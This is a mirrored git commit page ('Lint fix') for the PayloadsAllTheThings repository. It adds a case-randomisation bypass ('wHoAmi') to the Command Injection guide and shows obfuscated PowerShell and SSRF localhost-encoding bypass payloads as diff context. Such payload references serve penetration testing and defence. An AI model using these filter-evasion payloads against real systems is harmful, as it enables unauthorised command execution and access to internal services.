gitea-mirror/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2025-12-05 20:40:04 -08:00
Code Issues Packages Projects Releases Wiki Activity

Lint fix

Browse Source
This commit is contained in:
Swissky
2025-08-14 11:09:47 +02:00
parent 72df15e2e8
commit b391de2117
2 changed files with 13 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

9
Command Injection/README.md
View File

@@ -26,6 +26,7 @@
* [Bypass With $()](#bypass-with--1)
* [Bypass With Variable Expansion](#bypass-with-variable-expansion)
* [Bypass With Wildcards](#bypass-with-wildcards)
* [Bypass With Random Case](#bypass-with-random-case)
* [Data Exfiltration](#data-exfiltration)
* [Time Based Data Exfiltration](#time-based-data-exfiltration)
* [Dns Based Data Exfiltration](#dns-based-data-exfiltration)
@@ -349,6 +350,14 @@ powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
```
### Bypass With Random Case
Windows does not distinguish between uppercase and lowercase letters when interpreting commands or file paths. For example, `DIR`, `dir`, or `DiR` will all execute the same `dir` command.
```powershell
wHoAmi
```
## Data Exfiltration
### Time Based Data Exfiltration

3
Server Side Request Forgery/README.md
View File

@@ -178,7 +178,9 @@ http://127.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1
```
* Hex IP
```powershell
http://0x7f000001 = http://127.0.0.1
http://0xc0a80101 = http://192.168.1.1
@@ -205,6 +207,7 @@ http://127.0.1
### Bypassing via ipv6 hostname
* in Linux /etc/hosts contain this line `::1 localhost ip6-localhost ip6-loopback` but work only if http server running in ipv6
```powershell
http://ip6-localhost = ::1
http://ip6-loopback = ::1